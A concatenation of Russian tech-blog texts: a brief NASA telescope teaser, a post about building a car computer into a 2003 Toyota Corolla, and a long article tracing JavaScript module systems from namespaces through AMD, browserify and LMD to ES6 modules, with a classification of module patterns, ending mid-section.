NASA планирует создавать антенны и телескопы размером с футбольное поле для поиска экзопланет подобных Земле и искать доказательства существования внеземной жизни.
Презентация проекта в PDF
Радиационная защита, напечатанная на 3d принтере
Предыстория
У меня toyota corolla 2003 года, с завода на официальные машинки ставили только кассетные магнитолы. Конечно, кассеты в магнитолу я не ставил ни разу, обходился радио и фм модулятором.
Не сказать, что я особо притязателен к музыке, но конечно хотелось чего-то более. Какие были варианты:
1. Поставить рамку на 1 или 2 дин и поставить обычную магнитолу.
2. Купить за 70$ родную, на eBay но уже с дисками. Но без мп3 :)
3. Купить за 600$ крутую, прямо под мою машину, со всем…
Но не один мне особо не нравился…
1. обычные магнитолы лишали бортового компьютера.
2. Шило на мыло :)
3. Дороговато и не очень нравились…
Вот и пришло решение поставить компьютер в машину. Вот что было ДО и ПОСЛЕ. Интересно? Добро пожаловать под хабракат =)
До: После:
Основная часть
Сразу, конечно же, я не бросился все делать, а довольно долго собирал все необходимое :)
Оказалось, что 60% у меня уже было или легко доставалось у друзей и родственников.
Немного опишу комплектацию — Конечно все началось с материнки:
Это PCM-9386. Основное преимущество это пассивное охлаждение, и очень маленький размер. Но процессор всего 600мгц. Память 512 мб.
Цена: все трофейное, уже было до начала проекта.
Как носитель инфы стоит флэшка КФ 4гиг на ней стоит система, и винчестер 40гиг 2,5.
Цена: тоже все было.
Питание.
Маленький блок питания от 12v. В машине не стоит, не каких преобразователей на 220в максимальное напряжение 12в.
Цена: около 20 — 30$ (мне достался бесплатно) :)
Звук
Конечно, нельзя подключить автомобильные колонки прямо к компу, пришлось выдумать звуковую схему:
USB звуковая + фильтр по питанию ДАЛЕЕ еще аудио фильтр (изолятор земли:) ДАЛЕЕ Усилитель ДАЛЕЕ колонки.
Не было задачи сделать супер звук, как я уже говорил до этого я ездил с фм модулятором :) и колонки остались родные.
USB Sound 5.1
Цена: 16$ на eBay
Платка реально выдает 5.1, но в машине используется только стерео. Плата бралась на вырост и с надеждой избавится от помех. Кстати помехи это отдельная тема — перед установкой о них даже не задумываешься, но при тестовом включении понимаешь, что это жесть, слышишь все: как включается винчестер и работает камп, обороты двигателя — генератор.
Долго игрался с разными фильтрами, полностью от помех избавил только этот:
Цена:8$ все тамже :)
По поводу этого фильтра, а точнее подобных ему, много обсуждений в интернете, что он искажает звук, но особых искажений я не заметил.
Усилитель:
Китайское чудо на 4 канала, и якобы огромную мощность. Вместо штатной магнитолы хорошо играет, по моему мнению…
Цена: 26$ ebay
Купил рамку под 2 дин.
Цена: 15$
Самая дорогая часть это монитор:
Цена: 320$
Это монитор для ленивых. Он точно под 2 дин, с точскрином, 2 ав входами, автоматическим включением(не надо каждый раз включать ручками), и автоматическим переключением на заднюю камеру.
Также был куплен юсб хаб с внешним питанием.
Цена:19$
И беспроводная клавиатура с трекболом.
Фотки не нашел.
Цена: 40$ вроде…
USB GPS — уже был, спрятал под торпедой, принимает нормально.
USB to OBD2 — купил за 10$ полгода назад, считывает показания датчиков в реальном времени и коды ошибок.
Еще немного фоток:
Процесс установки
Работающая система
Ставим Винду на комп (кот в комплект поставки не входит =)
Вид на материнку сверху (видим карту памяти CF)
Cтавим драйвера на что-то… =)
Заключение
Вот вроде и все. Еще всякие кнопочки, провода, предохранители, и прочая мелочевка…
Корпус для материнки сделал из корпуса от 16 портового свича (железная коробка). Корпус находится прямо за монитором.
Усилитель расположился в бардачке между сидениями. Для этого его пришлось немного уменьшить…
Поставил оболочку для удобного управления с тачскрина.
Какие основные функции реализованы:
— Мультимедиа — музыка, клипы, фильмы…
— GPS — стоит iGo 8
— OBD — слежение за параметрами автомобиля.
— Интернет — можно следить, где находится машина по гугл картам, как из машины, так и из дома.
Какие будут реализованы:
— Камера заднего вида (все готово чтоб поставить, но камеру я сломал)
— Видео регистрация
— Наблюдение за давлением в шинах — пока устройства под камп дороговаты ~ 250$, немного подождем.
— Радио, да радио пока нет :) купил фм радио, но оно плохо принимает.
Напоследок:
UPD: добавил немного фоток :)
UPD2: Автора идеи — ivbar пригласили на Хабр, спасибо хабраюзеру danin!
На момент написания этой статьи в JavaScript еще не существовало официальной модульной системы и все эмулировали модули как могли.
Модули или подобные структуры это неотъемлемая часть любого взрослого языка программирования. Просто иначе никак. Модули позволяют ограничить область видимости, позволяют реиспользовать части приложения, делают приложение более структурированным, отделяют ресурсы от шума и вообще делают код нагляднее.
Вот в JavaScript своя атмосфера — в языке нет официальных модулей, более того все файлы лежат удаленно, один поток приложения. Приходится постоянно решать какие-то странные проблемы с загрузкой, хитро паковать модули в один файлы, чтобы ускорить время загрузки. Бывает, что нужно воевать с двойными стандартами, адаптировать модули другого формата.
Дело в том, что раньше не думали, что на JavaScript можно делать огромные проекты, а не просто «пропатчить DOM», поэтому о модулях не думали. Да и вообще не думали о будущем. И тут Внезапно будущее нагрянуло! Все вроде-бы уже есть, а модули в JavaScript, мягко говоря, запаздывают. Поэтому разработчикам приходится крутиться и выдумывать какие-то эмуляторы модульности.
Думаю многие из вас читали прекрасную статью Addy Osmani Writing Modular JavaScript With AMD, CommonJS & ES Harmony, которая стала одной из глав его книги Learning JavaScript Design Patterns в этой статье рассказывается про «современные» JavaScript модули или же читали достаточно старую статью JavaScript Module Pattern: In-Depth 2010 года про «старые» модули.
Я не буду переводить эти статьи и не буду делать из них солянку. В своей статья я хочу рассказать о моем модульном пути. О том как я проделал путь от «старых» модулей к «новым» и что использую сейчас и почему.
Эта статья состоит из 3 частей: Путь модуля, Матчасть по кишкам модулей и Распространенные виды модулей
tl;drЯ прошел длинный путь от «не модулей» через
AMD и
browserify к
LMD, который удовлетворяет все мои потребности и делает жизнь проще. В будущем делаю ставку на
ECMAScript 6 Modules.
Путь модуля
Этап 1: Без модулей
В те времена, когда кода JavaScript было мало я вполне обходился и без модулей. Тогда они были мне не нужны. Введение модульной системы превратили бы мои 50 строк кода в 150. И быстренько пропатчить DOM я мог и без модулей. Я вполне обходился пространствами имен и не использовал сборку, а минификаторы тогда не были развиты.
Модуль
MyNs.MyModule = function () {};
MyNs.MyModule.prototype = {
// ...
};
Сборка
<script src="myNs.js"/>
<script src="myNs/myModule.js"/>
Прогресс моего приложения шагнул еще на пол шага вперед, когда я стал собирать свои файлы с помощью cat
$ cat js/*.js > build.js
Этап 2: Препроцессинг
Прогресс не стоит на месте и мои 50 строк кода постепенно превратились в 1500, я стал использовать сторонние библиотеки и их плагины. И приложение, которые я писал можно было вполне назвать Rich Internet Application. Деление на модули и их частичная изоляция решала мои проблемы того времени. Для сборки я стал использовать препроцессоры. Модулей было много, у них были зависимости, а разрешать зависимости руками мне не очень хотелось, поэтому препроцессинг тогда был незаменим. Я использовал пространства имен, хотя с ними было много возни:
if (typeof MyNamespace === 'undefined') {
var MyNamespace = {};
}
и лишней писанины:
new MyNamespace.MyConstructor(MyNamespace.MY_CONST);
// vs
new MyConstructor(MY_CONST);
и минификаторы того времени плохо сжимали такой код:
new a.MyConstructor(a.MY_CONST);
// vs
new a(b);
Мои модули шагнули еще чуть-чуть вперед, когда я стал применять тотальную изоляцию и выкинул пространство имен, заменив его областью видимости. И стал использовать вот такие модули:
include('deps/dep1.js');
var MyModule = (function () {
var MyModule = function () {};
MyModule.prototype = {
// ...
};
return MyModule;
})();
И вот такую сборку
(function () {
include('myModule.js');
}());
И тот же препроцессинг
$ includify builds/build.js index.js
Каждый модуль имеет локальную область видимости и вся сборка обернута еще одной IEFE. Это позволяет оградить модули друг от друга и все приложение от глобалов.
Этап 3: AMD
В один прекрасный день, читая Reddit, я наткнулся на статью о AMD и RequireJS.
Небольшое отступление. На самом деле идея AMD была заимствована из YUI Modules и хорошенько допилена. Для использования и декларации модулей теперь не нужно было выписывать лишние символы, конфигурирование так же стало проще.
Было
YUI().use('dep1', function (Y) {
Y.dep1.sayHello();
});
Стало
require(['dep1'], function (dep1) {
dep1.sayHello();
});
Познакомившись с AMD я понял, что до этого времени я все делал не так. Всего 2 функции require() и define() и все мои проблемы были решены! Модули стали сами загружать свои зависимости, появился вменяемый экспорт и импорт. Модуль разделился на 3 части (импорт, экспорт, тело модуля), которые можно было легко понять. Так же стало легко найти те ресурсы, которые ему нужны и которые он экспортирует. Код стал структурированным и более чистым!
Модуль
define('myModule', ['dep1', 'dep2'], function (dep1, dep2) {
var MyModule = function () {};
MyModule.prototype = {
// ...
};
return MyModule;
});
Сборка
$ node r.js index.js bundle.js
Но не все так просто…
Этап 4: Разочарование в AMD
То, что я показал выше — идеальный модуль и идеальная сборка. Такого в реальном проекте не бывает. А бывает так, что зависимостей у модуля очень много. Тогда он превращается в что-то такое:
require(['deps/dep1', 'deps/dep2', 'deps/dep3', 'deps/dep4', 'deps/dep5', 'deps/dep6', 'deps/dep7'],
function ( dep1, dep2, dep3, dep4, dep5, dep6, dep7) {
return function () {
return dep1 + dep2;
};
});
Таким модулем можно пользоваться, но с ним очень много возни. Чтобы побороть эту проблему можно переделать такой модуль на Simplified CommonJS. Еще в этом случае можно совсем не писать define() обертку и создавать честный CommonJS модули, а потом их собирать используя r.js.
define(function (require, module, exports) {
var dep1 = require('dep1'),
dep2 = require('dep2'),
dep3 = require('dep3'),
dep4 = require('dep4'),
dep5 = require('dep5'),
dep6 = require('dep6'),
dep7 = require('dep7');
return function () {
return dep1 + dep2;
};
});
Формат Simplified CommonJS для RequireJS «не родной», просто разработчиком пришлось его сделать. Если начать писать такие модули, то RequireJS начнет искать зависимости данного модуля регулярками.
И может что-то не найти:
require("myModule//");
require("my module");
require("my" + "Module");
var require = r;
r("myModule");
Этот код валидный, но тут нет ни одного модуля. Конечно пример абстрактный и некоторые имена надуманы, но случаи с динамическим конструированием имени модуля мне часто попадались, например, с шаблонами или какими-либо фабриками.
RequireJS, конечно, имеет для этого решение — прописать каждый такой модуль в конфиге:
({
"paths": {
"myModule": "modules/myModule.js"
}
})
Еще бывает так, что таких модулей много(шаблоны) и прописывать каждый раз новый модуль в конфиг не хочется и поэтому код начинает обрастать всякой магией вроде динамической генерации конфига. А не использовать «динамические модули» глупо при доступных возможностях.
Я стал писать честные CommonJS модули, использовать сборку через r.js даже в девелопменте. Отказ от AMD так же позволил использовать данные модули с Node.js без какой-либо магии. Я начал понимать, что данный инструмент мне в принципе подходит, но с костылями и дополнительной полировкой.
Те возможности динамический загрузки модулей, которую мне предлагал RequireJS мне были не нужны. Я хотел быть уверенным в том, что у меня будет максимально похожий код в девелопменте и продакшене, поэтому асинхронная догрузка модулей в девелопменте мне не подходила и именно поэтому я собирал свои модули в 1 файл.
Какая-то часть проекта загружалась при старте (1 запрос) остальные же части догружались по требованию. И догружались они не кучей мелких запросов, а одним большим (сборка нескольких модулей в 1м файле). Это позволяло и экономить время и трафик и уменьшало риски сетевых ошибок.
Еще бывает так, что нужно сделать несколько сборок. Например, приложение с русской локалью для среды тестинг или приложение оптимизированное под IE с английским языком для корпоративной сети. Или приложение оптимизированное под iPad для Украины с отключенной рекламой. Царила анархия и копипаст…
В философии RequireJs мне не нравилось то, что require() — это универсальный завод по производству любых ресурсов. require() делает абстракцию над плагинами и уже загруженными модулями если плагин не был по какой-то причине подключен, то как-то не совсем явно загружает его, а потом с помощью него загружает ресурс.
require(['async!i18n/data', 'pewpew.js', 'text!templates/index.html'],
fucntion (data, pewpew, template) {
});
В проектах где ресурсы однообразны или ресурсов не очень много — это может быть ок.
Этап 5: Поиск модуля
Я понял, что так жить больше нельзя… но знал, что же мне нужно:
1 Модуль должен быть CommonJS
Достаточно частый случай, когда нужо запустить один и тот же модуль и под Node.js и под JS@DOM. Чаще всего это какие-то модули не связанный с внешней средой (файловая система/DOM) или абстрагированные от нее части: шаблоны (наиболее распространенная часть), функции работы с временем, функции форматирования, локализация, валидаторы…
Когда пишешь AMD и нужно что-то реиспользовать у тебя 2 пути: переписать AMD на CJS или использовать node-require. Чаще выбирают второй вариант потому как ничего менять не нужно. НО. Тогда появляется модульная каша, странная абстракция над уже существующей системой загрузки модулей в Node.js. Мне очень не нравились AMD модули в Node.js.
CJS кроме совместимости с Node.js лишен обертки define() и лишнего отступа, форматирующего тело функции. Его require и export нагляднее и ближе к ES6 Modules чем define()-way. Сравните сами:
ES6 Modules
import "dep1" as dep1;
import "dep2" as dep2;
export var name = function () {
return dep1 + dep2;
};
CommonJS/Modules
var dep1 = require("dep1"),
dep2 = require("dep2");
exports.name = function () {
return dep1 + dep2;
};
AMD
require(['dep1', 'dep2'], function (dep1, dep2) {
return {
name: function () {
return dep1 + dep2;
}
};
});
И если так получиться, что мне придется вернуться к AMD, то это будет совсем не больно — мне нужно будет всего лишь прописать одну строчку в конфиге, чтобы r.js оборачивл мои CJS модули.
2 Сборщик модулей
Сегодня собирается все, даже если вы не пишете CoffeeScript, то вы так или иначе проверяете, собираете, сжимаете ваши скрипты.
Для адаптации CJS модуля нужна обертка, которую может делать за меня сборщик. Сборщик так же мог бы проверить меня: все ли модули существуют, не ошибся ли я в имени модуля, все ли я плагины задекларировал.
В результате сборки я хотел бы получить 1 файл, который содержит и мои модули и скрипты, необходимые для их работы.
Делить приложение на «мои скрипты» и «не мои» «во благо кэширования» (подключать код загрузчика отдельно и мой код отдельно) не имело для меня смысла потому как я пишу в основном одностраничные веб-приложения, да и кэш сегодня может вымываться за минуты. Сборка все-в-одном так же позволит избавиться от проблем совместимости с «загрузчиком модулей» при обновлении.
3 Гибкая система конфигурации: зависимости, наследование, миксины
Как я уже писал, в мои приложениях бывает очень много сборок под разные устройства, браузеры, среды и локали. Я очень хотел получить ненавязчивую систему конфигурирования без лишнего копипаста и писанины.
Например есть конфиг prod от него наследуется конфиг dev и подменяет какие-то модули. Так же есть конфиги ru и en, которые мы можем подмешать prod+en, dev+ru. Теперь вместо всяких «common» и копипаст (prod-ru, prod-en, dev-ru, dev-en) мы имеем всего 4 «сухих» конфига: prod, dev, ru, en.
4 CLI
Это интерфейс к тому роботу, который делает половину работы за тебя. Если он очень перегруженный или нужно --писать длинные --команды-для-работы, то это начинает напрягать и влечет за собой появление Makefile и трату кучи времени на старт этого самого робота, который должен экономить время.
Любые действия, которые повторяются часто должны максимально упрощаться. Должны использоваться значения по умолчанию, одинаковые имена аргументов у сабкоманд. В общем чтобы разработчик помнил и писал минимум.
Сравните
$ tool make -f path/to/build_name.js -o path/to/build.js
и
$ tool make build_name
И вот когда ты в очередной раз выписываешь эту длинную команду в консоли без автокомплита ты начинаешь ненавидеть этот инструмент. Понятно, что 1 вариант возможно более явный, чем второй, но уж очень походит на инструмент графомана.
Этап 6: browserify
browserify это инструмент, позволяющий запускать любые модули Node.js в браузере.
Просто browserify main.js > bundle.js и работает.
Поработав с browserify какое-то время я осознал его истинный use-case: адаптация среды Node.js для работы в браузере. browserify прекрасен для своих целей, но не для тех реалий в который создаются веб-приложения. Когда есть не адаптированные сторонние модули, когда есть динамическая загрузка больших частей приложения. Приходилось много колдовать в консоли, чтобы все работало.
Этап 7: LMD
Я очень не хотел, но мне пришлось начать работать над LMD — инструментом, который сделает мою жизнь проще. Подгонять существующие инструменты под мои цели я больше не мог.
В итоге был разработан инструмент, который занимался сборкой скриптовой части моих проектов.
Вот несколько особенностей, которые легли в основу LMD:
1 Сборка из конфига
Так как наличие конфига неизбежно, то почему бы ни основываться на нем?! Поведение lmd полностью определяется конфигом в нем прописаны и модули и плагины и пути экспорта результирующего файла. Конфиги можно наследовать и миксовать с другими конфигами.
Так выглядит конфиг
{
"name": "My Config",
"root": "../js",
"output": "../build.lmd.js",
"modules": {
"main": "index.js"
},
"optimize": true,
"ie": false,
"promise": true
}
Если у вас сотня модулей — вам не нужно прописывать каждый модуль в конфиг! Достаточно прописать «rewrite rule» для однотипных модулей.
{
"modules": {
"main": "index.js",
"<%= file %>Template": "templates/*.html"
}
}
И на крайний случай вы можете написать конфиг в виде CJS модуля и сгенерирвать все на лету.
2 Абстрактная ФС: Отсутствие привязки к файловой системе
Привязка к ФС с одной стороны это естественно и HTTP сервер может однозначно отражать файловую систему. Но стоит помнить, что в браузере нет файловой системы и HTTP сервер поставляет ресурсы, а код уже понимает, что вот данный текст по данному URL — это модуль. Ресурсы могут перемещаться, выкладываться на CDN под произвольными именами.
Введение абстрактной файловой системы позволяет делать абстракции над модулями. Например у вас есть модуль locale под которым может скрываться как locale.ru.json так и locale.en.json за счет того, что эти модули имеют одинаковый интерфейс мы можем прозрачно менять один файл другим.
Вы вольны называть ваши модули как вам угодно и подключать не думая о относительных путях. Если у вас много модулей и вы забыли какой файл скрывается под данным модулем, то вам достаточно использовать lmd info:
$ lmd info build_name | grep module_name
info: module_name ✘ plain ✘ ✔ ✘ ✘
info: module_name <- /Users/azproduction/project/lib/module_name.js
3 Не перегруженный require() и плагины
Мне не нравилось, что require это фабрика, поэтому его поведение было немного переписано. Теперь просто require() загружает модули из абстрактной файловой системы и больше ничего. А require.*() будет использовать плагин * и делать же свое дело. Например, require.js() загрузит любой JavaScript файл по аналогии с $.loadScript.
Плагины нужно явно прописывать в конфиг, однако LMD поможет вам не забыть включить плагин, если вы пишете «правильный код».
Например, в этом коде LMD поможет не забывть 3 плагина: css, parallel и promise
require.css(['/pewpew.css', '/ololo.css']).then(function () {
});
А вот в этом коде только плагин js
var js = require.js;
js('http://site.com/file.js').then(function () {
});
Вы можете включать и отключать плагины, используя наследование и миксы конфигов.
4 Адаптация модулей
Бывает так, что в проекте есть какие-то файлы, которые сложно назвать модулями, но их нужно использовать как и другие модули. LMD может легко адаптировать любой файл и сделать из него CJS модуль во время сборки. Кроме этого для использования текстовых файлов(шаблоны) и JSON-файлов не нужно прописывать ни плагины (смотри плагин text для RequireJS) ни адаптеры. В отличии от того же RequireJS LMD превращает данные файлы в честные модули, а не адаптирует их с shim.
Сегодня LMD имеет кучу плагинов и примеров работы с ними и встроенную систему аналитики работы сборки. Ну и, конечно, LMD делает мою жизнь проще. Дальнейший рассказ про LMD выходит за границы моей статьи. В следующий раз я напишу статью с примером проекта на LMD.
Будущее?
Да, конечно, это ES6 Modules. Их формат схож со многими форматами модулей из других языков и соответствуют ожиданиям новичков в JavaScript. В них есть все необходимые атрибуты модуля: импорт, экспорт, обертка модуля (на случай если нужно конкатенировать несколько файлов). Они прекрасно транслируются в CJS и AMD. Однако в том виде в котором они есть сейчас в черновике их сложно использовать в реальных проектах.
Import статический. Нужно использовать сборщик модулей, чтобы ускорить старт приложения. Импорт внешнего модуля будет блокирующим:
<script>
import {get, Deferred} from "http://yandex.st/jquery/3.0/jquery.min.js";
get('/').then(console.log.bind(console));
</script>
Это практически аналогично
<script src="http://yandex.st/jquery/3.0/jquery.min.js">
<script>
var get = $.get,
Deferred = $.Deferred;
get('/').then(console.log.bind(console));
</script>
В свою очередь, блокировку можно снять, используя <script async/>
Динамическая загрузка модулей есть, но она сейчас не совершенная:
Loader.load('http://json.org/modules/json2.js', function(JSON) {
alert(JSON.stringify([0, {a: true}]));
});
Надеюсь, что загрузчик модулей сможет грузить сборку из нескольких модулей. Тогда этого будет достаточно.
Стандарт сейчас активно обсуждается и то, что я вам сегодня показал, возможно завтра будет выглядеть не так (но маловероятно). Сегодня модули и синтаксис импорта/экспорта похож на тот, который вы привыкли видеть в других языках. Это хорошо так как JavaScript используют многие разработчики и им больно видеть дикие хаки вроде AMD. Сегодня одно из направлений развития ECMAScript направлено на превращение языка в своеобразный асемблер для трансляции из других языков. И модули неотъемлемая часть этого направления.
Выводы
Сегодня, можно сказать, JavaScript не имеет устоявшейся модульной системы есть только эмуляторы модульности, однако у вас есть возможность использовать синтаксис ES6 Modules и компилировать ваши модули в CJS и AMD. В JavaScript своя атмосфера, много ограничений(сетевые тормоза, трафик, лаги), которые не позволяют использовать привычные многим импорты. Проблема сборки и асинхронной загрузки так или иначе решена в популярных эмуляторах модульности, но как ее будут решать разработчики ES6 — вопрос.
Матчасть
Если вы осилили мой модульный путь, то, я думаю, вам будет интересна моя небольшая модульная классификация.
Я классифицировал существующие JavaScript «модули» и их инфраструктуру по особенностям. Классификация учитывает многие особенности. Давайте рассмотрим классификацию модулей, а потом уже отдельные модульные системы.
- Разрешение зависимостей
- Ручное управление
- Зависимости прописываются в конфиге
- Зависимости прописываются в самом модуле
- Зависимости прописываются в модуле и в конфиге
- Доступ к зависимостям
- Произвольный
- Динамический
- Декларативный
- Экспортирование из модуля
- Хаотичный экспорт
- Не управляемый экспорт со строгим именем
- «Самоэкспорт» со строгим именем
- Управляемый экспорт с произвольным именем
- Честный import/export
- Сбока модулей
- Без сборки
- Конкатенация файлов по маске
- Препроцессинг
- Статический анализ зависимостей
- Сборка из конфига
- Инициализация и интерпретация модуля
- Инициализируется и интерпретируется при старте
- Инициализируется при старте, интерпретируется по требованию
- Инициализируется и интерпретируется по требованию
- Загрузка внешних зависимостей
- Загрузчик неуправляемого модуля
- Загрузчик «управляемого» модуля
- Изоляция модулей
- Модули не изолированы
- Модули изолированы
- Модули тотально изолированы
Разрешение зависимостей
Каким образом сборочный инструмент или разработчик определяет какие зависимости нужно подключить/инициализировать для нормальной работы данного модуля. У зависимостей, в свою очередь, так же могут быть зависимости.
Разрешение зависимостей. Ручное управление
Управление зависимостями на плечах разработчика. Разработчик аналитически понимает какие зависимости нужно подключить.
<script src="deps/dep1.js"/>
<script src="deps/dep2.js"/>
<script src="moduleName.js"/>
И соответственно в main.js
var moduleName = function () {
return dep1 + dep2;
};
Никаких сторонних библиотек не нужно использовать
Когда модулей не много и они все свои — это ок
Когда модулей много такой код невозможно поддерживать
Несколько файлов = несколько запросов на сервер
Подходит для «быстро накодить».
Разрешение зависимостей. Зависимости прописываются в конфиге
Зависимости прописываются во внешнем конфиге и могут наследоваться. Используя данный конфиг какой-то сборочный инструмент загружает/подключает зависимости данного модуля. Конфиг может быть написан как для конкретного модуля так и для всего проекта.
Такой конфиг используется в LMD
{
"modules": {
"main": "moduleName.js"
"<%= file %>": "deps/*.js"
}
}
И соответственно в main.js
var dep1 = require('dep1'),
dep2 = require('dep2');
module.exports function () {
return dep1 + dep2;
};
Модули не завязываются на файловую систему (можно дать любое имя любому файлу)
Без изменения имени модуля можно изменить его содержимое
Нужно писать такой конфиг
Нужен дополнительный инструмент/библиотека
Разрешение зависимостей. Зависимости прописываются в самом модуле
В самом файле декларируются зависимости, пути до файла и то как они будут называться во время работы. Модуль фактически определяет любые ресурсы необходимые для работы, а загрузчик предоставляет их. Пока зависимости и зависимости зависимостей не загружены модуль не начнет свою работу.
Такой способ использует AMD (RequireJS)
require(['deps/dep1', 'deps/dep2'], function (dep1, dep2) {
return function () {
return dep1 + dep2;
};
});
Если зависимостей у одного модуля очень много, то такой синтаксис как правило деградируют до CommonJS define либо используют всякие извращения.
Извращения
require(['deps/dep1', 'deps/dep2', 'deps/dep3', 'deps/dep4', 'deps/dep5', 'deps/dep6', 'deps/dep7'],
function ( dep1, dep2, dep3, dep4, dep5, dep6, dep7) {
return function () {
return dep1 + dep2;
};
});
Деградация до CommonJS define
define(function (require, module, exports) {
var dep1 = require('dep1'),
dep2 = require('dep2'),
dep3 = require('dep3'),
dep4 = require('dep4'),
dep5 = require('dep5'),
dep6 = require('dep6'),
dep7 = require('dep7');
return function () {
return dep1 + dep2;
};
});
При использовании такой деградации RequireJS ищет зависимости регулярками. Это на 95% надежный способ. Честный же способ (AST или хитрый процессинг) потребляет слишком много ресурсов (объем кода и время процессинга), но так же не покрывает всех потребностей.
Бывают случаи когда необходимо так же написать конфиг, чтобы, например, адаптировать какой-то старый модуль, который не умеет define или если какой-то «честный модуль» инициализируется динамически — require('templates/' + type) и его не может найти регулярка. Динамическая инициализация это редкая штука и в основном используется для динамической загрузки шаблонов, но не исключена.
Практически все зависимости описываются в самом файле
Конфиги асинхронно загружаются
Не нужно писать конфиг
Но иногда приходится его все-таки писать конфиг
Нужен дополнительный инструмент/библиотека
Разрешение зависимостей. Зависимости прописываются в модуле и в конфиге
Зависимости прописываются с самом файле и в специальном конфиге.
Конфиг используется любым менеджером пакетов для устранения зависимостей. Например npm и package.json
{
"dependencies": {
"express": "3.x",
"colors": "*"
}
}
И соответственно main.js
// Внешний модуль
var express = require('express');
// Локальный модуль
var dep1 = require('./deps/dep1'),
dep2 = require('./deps/dep2');
module.exports function () {
return dep1 + dep2;
};
Разработчик определяет список зависимостей и их версии. Менеджер пакетов загружает модули и их зависимости. Тут, в принципе, без вариантов тк менеджер ничего не знает о модуле. package.json для менеджера единственный интерфейс взаимодействия. В свою очередь каждый модуль может загружать свои части напрямую из файловой системы require('pewpew.js')
Если использовать такой подход для браузера, то выходят такие плюсы и минусы
Все зависимости описываются в самом файле
Возможно управление версиями внешних зависимостей
Такой модуль можно без проблем использовать как на сервере так и на клиенте
Нужен дополнительный инструмент/библиотека для сборки, например browserify
Доступ к зависимостям
Определяет каким образом модуль использует зависимости внутри себя, как получает доступ к необходимому модулю.
Доступ к зависимостям. Произвольный
Все модули лежат открыто в глобальной области видимости или в неймспэйсе. Каждый модуль может без каких-либо ограничений в любом месте получить доступ к любой части приложения любым способом.
var dep1 = 1;
var dep2 = 2;
alert(dep1 + dep2);
Если модулей не много и они не большие, то это ок
Если модулей много, то такой код невозможно поддерживать
Нельзя не глаз определить зависимости модуля (нужно искать имена глобальных переменных или неймспейс)
Доступ к зависимостям. Динамический
Доступ к модулю можно получить только через «загрузчик» — require() или объявив зависимости модуля через define()
Такой способ используется в большинстве популярных библиотек, когда в «замыкание модуля» пробрасывается функция require через которую модуль и может получать доступ к другим модулям. Так же эта функция может быть доступна глобально.
var dep1 = require('./deps/dep1'),
dep2 = require('./deps/dep2');
alert(dep1 + dep2);
Соответственно способ с define()
require(['./deps/dep1', './deps/dep2'], function (dep1, dep2) {
alert(dep1 + dep2);
});
Легко понять/найти зависимости
Доступ к зависимостям модерируется, можно лениво инициализировать модуль, вычислять runtime-зависимости и прочее
Можно статически определить почти весь граф зависимостей
Код немного Verbose, но это хорошая плата за поддерживаемость
Нужна дополнительная библиотека
Доступ к зависимостям. Декларативный
Модули декларируется при написании кода и не загружаются динамически. Статический анализатор кода может однозначно понять какой набор модулей необходим для работы приложения. Так работают практически все конструкции import.
import * from "dep1";
import * from "dep2";
Так же под такой способ доступа к зависимостям можно отнести и статический AMD define()
define('module', ['./deps/dep1', './deps/dep2'], function (dep1, dep2) {
});
Статический импорт позволяет сборщикам собирать зависимости, а трансляторам ES6 Modules переделывать код в ES3-совместимый.
Возможен статический анализ (полный или частичный)
Возможна трансляция ES6 Modules
В чистом виде редко применимо
Экспортирование из модуля
Чаще всего модули предоставляют какие-то ресурсы, которыми могут пользоваться другие модули. Это могут быть данные, утилиты (формат дат, чисел, i18n и пр). Экспортирование из модуля определяет каким образом модуль говорит «я предоставляю такие-то ресурсы».
Экспортирование. Хаотичный экспорт
Модуль экспортирует что угодно, куда угодно, когда угодно
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
var dep1 = b;
Засорение глобальной области видимости
Ад и кошмар, при любом раскладе такое не поддерживается в принципе
Экспортирование. Не управляемый экспорт со строгим именем
Если немного модифицировать предыдущий способ, добавив IIFE, то мы получим данный способ. Модуль заранее знает где он будет лежать и как будет называться.
var dep1 = (function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
return b;
})();
Или же немного другой вариант
(function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
exports.dep1 = b;
})(exports);
Или именованный AMD
define('dep1', [], function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
return b;
});
Это просто
Не нужны особые инструменты для сборки и использования таких модулей (кроме AMD)
Экспортируется только нужное
Модуль знает куда он экспортируется и какое имя у него будет
Экспортирование. «Самоэкспорт» со строгим именем
В основе этого способа лежит специальная функция «регистрации модуля» ready(), которую должен вызвать модуль, когда он готов. Она принимает 2 аргумента — имя модуля и ресурсы, которые он предоставляет.
(function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
ready('dep1', b);
})();
Для загрузки зависимостей такого модуля используется функция load(), похожая на require()
load('dep1', 'dep2', function (dep1, dep2) {
ready('dep3', function () {
return dep1 + dep2;
});
});
load('dep3', do.stuff);
Модуль экспортируется асинхронно и может отложить свой экспорт
Модуль не знает где будет лежать
Модуль экспортируется сам (модуль подчиняет тот модуль, который его использует)
Модуль знает свое имя и может менять его динамически
Модуль может зарегистрировать несколько модулей
Нужна специальная библиотека
Экспортирование. Управляемый экспорт с произвольным именем
Модуль не знает ни своего имени ни где он будет лежать. Потребитель модуля сам определяет как будет называться данный модуль в контексте потребителя.
Это CommonJS модуль
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
module.exports = b;
или анонимный AMD
define([], function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
return b;
});
Мы можем использовать любое имя во время экспорта модуля.
var dep1 = require('deps/dep1');
Модуль не знает ни где он лежит ни как он будет называться при использовании
При переименовании модуля нужно переименовать только файл
Нужна библиотека для сборки и использования
Экспортирование. Честный import/export
Такой способ декларации модулей использует каждый второй язык программирования. Достаточно давно появилась спецификация ECMAScript 6 Modules, поэтому рано или поздно такой синтаксис придет и в JavaScript.
Декларируем модуль.
module "deps" {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
export var dep1 = b;
export var dep2 = b + 1;
}
Так же можно декларировать модуль без обвязки module {}.
Можно использовать имена по умолчанию и писать меньше
import * from "deps";
console.log(dep1);
Можно избежать конфликты имен, используя своеобразное «пространство имен»
import "crypto" as ns;
console.log(ns.dep1);
Можно экспортировать часть модуля
import {dep1} from "deps";
console.log(dep1);
Знакомые импорты из многих языков — привычно и наглядно
Это ECMAScript 6
Нужно транслировать ES6 модуль в ES3-совместимый код, например использовать модули из TypeScript
Сбока модулей
